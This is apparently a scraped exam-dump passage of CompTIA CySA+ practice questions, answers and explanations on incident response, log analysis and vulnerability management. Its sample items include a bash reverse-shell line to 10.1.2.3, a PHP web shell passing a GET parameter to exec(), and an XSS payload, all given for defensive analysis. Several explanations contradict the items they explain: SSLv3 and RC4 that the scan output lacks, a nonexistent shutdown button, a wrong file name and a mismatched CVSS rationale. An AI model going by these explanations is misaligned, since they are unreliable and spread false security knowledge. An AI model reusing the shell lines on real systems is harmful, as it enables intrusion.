Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint `/wp-json/trx_addons/v2/get/sc_layout`. In this case, the attacker tries to use the `wp_insert_user` function to create a new administrator account on the WordPress site<sup>12</sup>. Limiting user creation to administrators only would prevent the attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user registration to administrators<sup>34</sup>. Limiting layout creation to administrators only, setting the directory `trx_addons` to read only for all users, and setting the directory `v2` to read only for all users are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover, setting directories to read only may affect the functionality of the plugin or the WordPress site<sup>56</sup>. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence, Mitigating Zero Day Attacks With a Detection, Prevention ... - Spiceworks, How to Restrict WordPress User Registration to Specific Email ..., How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to Securing Your Website, WordPress File Permissions: What is the Ideal Setting?

**NEW QUESTION 163**

Which of the following actions would an analyst most likely perform after an incident has been investigated?

- A. Risk assessment
- B. Root cause analysis
- C. Incident response plan
- D. Tabletop exercise

**Answer:** D

**Explanation:**

A tabletop exercise is the most likely action that an analyst would perform after an incident has been investigated. A tabletop exercise is a simulation of a potential incident scenario that involves the key stakeholders and decision-makers of the organization. The purpose of a tabletop exercise is to evaluate the effectiveness of the incident response plan, identify the gaps and weaknesses in the plan, and improve the communication and coordination among the incident response team and other parties. A tabletop exercise can help the analyst to learn from the incident investigation, test the assumptions and recommendations made during the

investigation, and enhance the preparedness and resilience of the organization for future incidents<sup>12</sup>. Risk assessment, root cause analysis, and incident response plan are all actions that an analyst would perform before or during an incident investigation, not after. Risk assessment is the process of identifying, analyzing, and evaluating the risks that may affect the organization. Root cause analysis is the method of finding the underlying or fundamental causes of an incident. Incident response plan is the document that defines the roles, responsibilities, procedures, and resources for responding to an incident<sup>345</sup>. References: Tabletop Exercises: Six Scenarios to Help Prepare Your Cybersecurity Team, Tabletop Exercises for Incident Response - SANS Institute, Risk Assessment - NIST, Root Cause Analysis - OWASP, Incident Response Plan | Ready.gov

**NEW QUESTION 165**

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

- A. /etc/ shadow
- B. curl localhost
- C. ; printenv
- D. cat /proc/self/

**Answer:** A

**Explanation:**

/etc/shadow is the pattern that the security analyst can use to search the web server logs for evidence of exploitation of the LFI vulnerability that can be exploited to extract credentials from the underlying host. LFI stands for Local File Inclusion, which is a vulnerability that allows an attacker to include local files on the web server into the output of a web application. LFI can be exploited to extract sensitive information from the web server, such as configuration files, passwords, or source code. The /etc/shadow file is a file that stores the encrypted passwords of all users on a Linux system. If an attacker can exploit the LFI vulnerability to include this file into the web application output, they can obtain the credentials of the users on the web server. Therefore, the security analyst can look for /etc/shadow in the request line of the web server logs to see if any attacker has attempted or succeeded in exploiting the LFI vulnerability. Official References:  
? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>  
? <https://www.comptia.org/certifications/cybersecurity-analyst>  
? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 170**

Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools should be used to maintain the integrity of the mobile phone while it is transported? (Select two).

- A. Signal-shielded bag
- B. Tamper-evident seal
- C. Thumb drive
- D. Crime scene tape
- E. Write blocker
- F. Drive duplicator

**Answer:** AB

**Explanation:**

A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from receiving or sending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the transportation. ReferencesM: obile device forensics, Section: Acquisition

**NEW QUESTION 171**

While reviewing web server logs, a security analyst found the following line:

```
<IMG SRC='vbscript:msgbox("test")'>
```

Which of the following malicious activities was attempted?

- A. Command injection
- B. XML injection
- C. Server-side request forgery
- D. Cross-site scripting

**Answer:** D

**Explanation:**

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user's session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware<sup>12</sup>

The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an <IMG> tag with a malicious SRC attribute that contains a VBScript code. The VBScript code is intended to display a message box with the text "test" when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks<sup>3</sup>

**NEW QUESTION 172**

A technician is analyzing output from a popular network mapping tool for a PCI audit:

```

PORT STATE SERVICE VERSION
22/tcp open  ssh Cisco SSH 1.25 (protocol 2.0)
443/tcp open  ssl/http OpenResty web app server
|_ http-server-header: openresty
|_ ssl-enum-ciphers:
|_ TLSv1.1:
|_ ciphers:
|_ TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_ compressors:
|_ NULL
|_ cipher preference: server
|_ warnings:
|_ Insecure certificate signature (SHA1), score capped at F
|_ TLSv1.2:
|_ ciphers:
|_ TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - F
|_ TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - F
|_ TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - F
|_ TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - F
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_ compressors:
|_ NULL
|_ cipher preference: server
|_ warnings:
|_ Insecure certificate signature (SHA1), score capped at F
|_ least strength: F

```

Which of the following best describes the output?

- A. The host is not up or responding.
- B. The host is running excessive cipher suites.
- C. The host is allowing insecure cipher suites.
- D. The Secure Shell port on this host is closed

**Answer: C**

**Explanation:**

The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used. Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.

**NEW QUESTION 175**

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred by an issue?

- A. Trends
- B. Risk score
- C. Mitigation
- D. Prioritization

**Answer: B**

**Explanation:**

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. <https://www.comptia.org/training/books/cysa-cs0-003-study-guide>

**NEW QUESTION 179**

A software developer has been deploying web applications with common security risks to include insufficient logging capabilities. Which of the following actions would be most effective to reduce risks associated with the application development?

- A. Perform static analyses using an integrated development environment.

- B. Deploy compensating controls into the environment.
- C. Implement server-side logging and automatic updates.
- D. Conduct regular code reviews using OWASP best practices.

**Answer:** D

**Explanation:**

Conducting regular code reviews using OWASP best practices is the most effective action to reduce risks associated with the application development. Code reviews are a systematic examination of the source code of an application to detect and fix errors, vulnerabilities, and weaknesses that may compromise the security, functionality, or performance of the application. Code reviews can help to improve the quality and security of the code, as well as to identify and remediate common security risks, such as insufficient logging capabilities. OWASP (Open Web Application Security Project) is a global nonprofit organization that provides free and open resources, tools, standards, and best practices for web application security. OWASP best practices for logging include following a common logging format and approach, logging relevant security events and data, protecting log data from unauthorized access or modification, and using log analysis and monitoring tools to detect and respond to security incidents. By following OWASP best practices for logging, developers can ensure that their web applications have sufficient and effective logging capabilities that can help to prevent, detect, and mitigate security threats.

References: OWASP Logging Cheat Sheet, OWASP Logging Guide, C9: Implement Security Logging and Monitoring - OWASP Foundation

**NEW QUESTION 180**

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

- A. Access rights
- B. Network segmentation
- C. Time synchronization
- D. Invalid playbook

**Answer:** C

**Explanation:**

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

**NEW QUESTION 182**

During a recent site survey, an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while preserving evidence?

- A. Run a packet sniffer to monitor traffic to and from the access point.
- B. Connect to the access point and examine its log files.
- C. Identify who is connected to the access point and attempt to find the attacker.
- D. Disconnect the access point from the network

**Answer:** D

**Explanation:**

The correct answer is D. Disconnect the access point from the network.

A rogue access point is a wireless access point that has been installed on a network without the authorization or knowledge of the network administrator. A rogue access point can pose a serious security risk, as it can allow unauthorized users to access the network, intercept network traffic, or launch attacks against the network or its devices<sup>1234</sup>.

The first action that should be taken to protect the network while preserving evidence is to disconnect the rogue access point from the network. This will prevent any further damage or compromise of the network by blocking the access point from communicating with other devices or users. Disconnecting the rogue access point will also preserve its state and configuration, which can be useful for forensic analysis and investigation. Disconnecting the rogue access point can be done physically by unplugging it from the network port or wirelessly by disabling its radio frequency<sup>5</sup>.

The other options are not the best actions to take first, as they may not protect the network or preserve evidence effectively.

Option A is not the best action to take first, as running a packet sniffer to monitor traffic to and from the access point may not stop the rogue access point from causing harm to the network. A packet sniffer is a tool that captures and analyzes network packets, which are units of data that travel across a network. A packet sniffer can be useful for identifying and troubleshooting network problems, but it may not be able to prevent or block malicious traffic from a rogue access point. Moreover, running a packet sniffer may require additional time and resources, which could delay the response and mitigation of the incident<sup>5</sup>.

Option B is not the best action to take first, as connecting to the access point and examining its log files may not protect the network or preserve evidence.

Connecting to the access point may expose the analyst's device or credentials to potential attacks or compromise by the rogue access point. Examining its log files may provide some information about the origin and activity of the rogue access point, but it may also alter or delete some evidence that could be useful for forensic analysis and investigation. Furthermore, connecting to the access point and examining its log files may not prevent or stop the rogue access point from continuing to harm the network<sup>5</sup>.

Option C is not the best action to take first, as identifying who is connected to the access point and attempting to find the attacker may not protect the network or preserve evidence. Identifying who is connected to the access point may require additional tools or techniques, such as scanning for wireless devices or analyzing network traffic, which could take time and resources away from responding and mitigating the incident. Attempting to find the attacker may also be difficult or impossible, as the attacker may use various methods to hide their identity or location, such as encryption, spoofing, or proxy servers. Moreover, identifying who is connected to the access point and attempting to find the attacker may not prevent or stop the rogue access point from causing further damage or compromise to the network<sup>5</sup>.

References:

? 1 CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives

? 2 Cybersecurity Analyst+ - CompTIA

? 3 CompTIA CySA+ CS0-002 Certification Study Guide

? 4 CertMaster Learn for CySA+ Training - CompTIA

? 5 How to Protect Against Rogue Access Points on Wi-Fi - Byos

? 6 Wireless Access Point Protection: 5 Steps to Find Rogue Wi-Fi Networks ...

? 7 Rogue Access Point - Techopedia

? 8 Rogue access point - Wikipedia

? 9 What is a Rogue Access Point (Rogue AP)? - Contextual Security

**NEW QUESTION 187**

A company brings in a consultant to make improvements to its website. After the consultant leaves, a web developer notices unusual activity on the website and submits a suspicious file containing the following code to the security team:

```
<html>
<body>

<?php
echo '<H1>This website is under maintenance</H1>';
alert('Exit');
exec($_GET[cmd]);
echo $_SERVER['REMOTE_ADDR']
?>
</body>
</html>
```

Which of the following did the consultant do?

- A. Implanted a backdoor
- B. Implemented privilege escalation
- C. Implemented clickjacking
- D. Patched the web server

**Answer: A**

**Explanation:**

The correct answer is A. Implanted a backdoor.

A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.

In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of a shutdown button and an alert message that says "Exit". However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker. This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.

The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.

Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.

Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant patched the web server or improved its security in any way.

References:

- ? 1 What Is a Backdoor & How to Prevent Backdoor Attacks (2023)
- ? 2 What is Clickjacking? Tutorial & Examples | Web Security Academy
- ? 3 What Is Privilege Escalation and How It Relates to Web Security | Acunetix
- ? 4 What Is Patching? | Best Practices For Patch Management - cWatch Blog

**NEW QUESTION 188**

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:

Vulnerability	CVSSv3.1 impact metrics
1	C:L/I:L/A:L
2	C:N/I:L/A:H
3	C:H/I:N/A:N
4	C:L/I:H/A:L

Which of the following vulnerabilities should be prioritized for remediation?

- A. 1
- B. 2
- C. 3
- D. 4

**Answer: B**

**Explanation:**

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

References:

- ? CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2
- ? The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2

**NEW QUESTION 190**

A security analyst is reviewing the following alert that was triggered by FIM on a critical system:

Host	Path	Key added
WEBSERVER01	HKLM\Software\Microsoft\Windows\CurrentVersion\Personalization	Allow (1)
WEBSERVER01	HKLM\Software\Microsoft\Windows\CurrentVersion\Run	RunMe (%appdata%\abc.exe)
WEBSERVER01	HKCU\Printers\ConvertUserDevModesCount	Microsoft XPS Writer (2)
WEBSERVER01	HKCU\NetworkZ	Remote Path (192.168.1.10 CorpZ_Drive)
WEBSERVER01	HKLM\Software\Microsoft\PCHealthCheck	Installed (1)

Which of the following best describes the suspicious activity that is occurring?

- A. A fake antivirus program was installed by the user.
- B. A network drive was added to allow exfiltration of data
- C. A new program has been set to execute on system start
- D. The host firewall on 192.168.1.10 was disabled.

**Answer: C**

**Explanation:**

A new program has been set to execute on system start is the most likely cause of the suspicious activity that is occurring, as it indicates that the malware has modified the registry keys of the system to ensure its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on a system and alerts the security analyst of any unauthorized or malicious modifications. The alert triggered by FIM shows that the malware has created a new registry key under the Run subkey, which is used to launch programs automatically when the system starts. The new registry key points to a file named "update.exe" in the Temp folder, which is likely a malicious executable disguised as a legitimate update file. Official References:

- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>
- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/training/books/cysa-cs0-002-study-guide>

**NEW QUESTION 191**

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?

- A. Information sharing organization
- B. Blogs/forums
- C. Cybersecurity incident response team
- D. Deep/dark web

**Answer: A**

**Explanation:**

An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or coordinate with other organizations in the same industry or region that may face similar threats or challenges.

**NEW QUESTION 195**

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

- A. Containerization
- B. Manual code reviews
- C. Static and dynamic analysis
- D. Formal methods

**Answer: D**

**Explanation:**

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition<sup>1</sup>, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools<sup>1</sup>.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues<sup>1</sup>.

**NEW QUESTION 197**

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

- A. Credentialed network scanning
- B. Passive scanning
- C. Agent-based scanning
- D. Dynamic scanning

**Answer:** C

**Explanation:**

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

**NEW QUESTION 199**

An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause?

- A. The finding is a false positive and should be ignored.
- B. A rollback had been executed on the instance.
- C. The vulnerability scanner was configured without credentials.
- D. The vulnerability management software needs to be updated.

**Answer:** B

**Explanation:**

A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This can happen due to backup and recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were applied to remediate the vulnerability. References: Vulnerability Remediation: It's Not Just Patching, Section: The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation

**NEW QUESTION 202**

Which of the following is a nation-state actor least likely to be concerned with?

- A. Detection by MITRE ATT&CK framework.
- B. Detection or prevention of reconnaissance activities.
- C. Examination of its actions and objectives.
- D. Forensic analysis for legal action of the actions taken

**Answer:** D

**Explanation:**

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors.

They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

References:

- ? 1: MITRE ATT&CK®
- ? 2: What is the MITRE ATT&CK Framework? | IBM
- ? 3: MITRE ATT&CK | MITRE
- ? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics | Splunk
- ? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

**NEW QUESTION 205**

During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?

- A. Isolation
- B. Remediation
- C. Reimaging
- D. Preservation

**Answer:** A

**Explanation:**

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules<sup>12</sup>.

References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a Ransomware Attack: A Step-by-Step Guide

**NEW QUESTION 206**

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

- A. Deploy a CASB and enable policy enforcement
- B. Configure MFA with strict access
- C. Deploy an API gateway

D. Enable SSO to the cloud applications

**Answer:** A

**Explanation:**

A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud applications and services. A CASB can enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules, encrypting sensitive data, and detecting anomalous user behavior.

**NEW QUESTION 211**

A security analyst identified the following suspicious entry on the host-based IDS logs: `bash -i >& /dev/tcp/10.1.2.3/8080 0>&1`  
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

- A. `#!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"`
- B. `#!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"`
- C. `#!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"`
- D. `#!/bin/bashnetstat -antp |grep 8080 >dev/null && echo "Malicious activity" || echo "OK"`

**Answer:** D

**Explanation:**

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339. Reverse Shell Cheat Sheet, Bash section.

**NEW QUESTION 213**

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

- A. Mean time to detect
- B. Number of exploits by tactic
- C. Alert volume
- D. Quantity of intrusion attempts

**Answer:** A

**Explanation:**

Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a security incident or threat from the time it occurs. MTTD can be improved by using tools and processes that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance security operations. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack>

**NEW QUESTION 218**

Which of the following describes the best reason for conducting a root cause analysis?

- A. The root cause analysis ensures that proper timelines were documented.
- B. The root cause analysis allows the incident to be properly documented for reporting.
- C. The root cause analysis develops recommendations to improve the process.
- D. The root cause analysis identifies the contributing items that facilitated the event

**Answer:** D

**Explanation:**

The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

**NEW QUESTION 223**

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

- A. MOU
- B. NDA
- C. BIA
- D. SLA

**Answer:** D

**Explanation:**

SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the customer receives the service that meets their needs and requirements. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 224**

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity?

- A. Insider threat
- B. Ransomware group
- C. Nation-state
- D. Organized crime

**Answer:** C

**NEW QUESTION 228**

Which of the following can be used to learn more about TTPs used by cybercriminals?

- A. ZenMAP
- B. MITRE ATT&CK
- C. National Institute of Standards and Technology
- D. theHarvester

**Answer:** B

**Explanation:**

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs.

References: MITRE ATT&CK, Getting Started with ATT&CK, MITRE ATT&CK | MITRE

**NEW QUESTION 233**

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

- A. PAM
- B. IDS
- C. PKI
- D. DLP

**Answer:** D

**Explanation:**

Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.

**NEW QUESTION 235**

A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?

- A. Running regular penetration tests to identify and address new vulnerabilities
- B. Conducting regular security awareness training of employees to prevent socialengineering attacks
- C. Deploying an additional layer of access controls to verify authorized individuals
- D. Implementing intrusion detection software to alert security teams of unauthorized access attempts

**Answer:** C

**Explanation:**

Deploying an additional layer of access controls to verify authorized individuals is the best compensating control for the authentication vulnerability that could bypass the primary control. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or a threat when the primary control is not sufficient or feasible. A compensating control should provide a similar or greater level of protection as the primary control, and should be closely related to the vulnerability or the threat it is addressing<sup>1</sup>. In this case, the primary control is to restrict access to a sensitive database, and the vulnerability is an authentication bypass. Therefore, the best compensating control is to deploy an additional layer of access controls, such as multifactor authentication, role-based access control, or encryption, to verify the identity and the authorization of the individuals who are accessing the database. This way, the compensating control can prevent unauthorized access to the database, even if the primary control is bypassed<sup>23</sup>. Running regular penetration tests, conducting regular security awareness training, and implementing intrusion detection software are all good security practices, but they are not compensating controls for the authentication vulnerability, as they do not provide a similar or greater level of protection as the primary control, and they are not closely related to the vulnerability or the threat they are addressing. References: Compensating Controls: An Impermanent Solution to an IT ... - Tripwire, What is Multifactor Authentication (MFA)? | Duo Security, Role-Based Access Control (RBAC) and Role-Based Security, [What is a Penetration Test and How Does It Work?]

**NEW QUESTION 240**

An analyst is reviewing a vulnerability report for a server environment with the following entries:

Vulnerability	Severity	CVSS v3	Host IP	Crown jewel	Exploit available
EOL/Obsolete Log4j v1.x	5	-	54.73.224.15	No	No
EOL/Obsolete Log4j v1.x	5	-	54.73.225.17	Yes	No
EOL/Obsolete Log4j v1.x	5	-	10.101.27.98	Yes	No
Microsoft Windows Security Update	4	8.2	10.100.10.52	No	Yes
Microsoft Windows Security Update	4	8.2	54.74.110.26	No	Yes
Microsoft Windows Security Update	4	8.2	54.74.110.228	Yes	Yes
Oracle Java Critical Patch	3	6.9	10.101.25.65	Yes	No
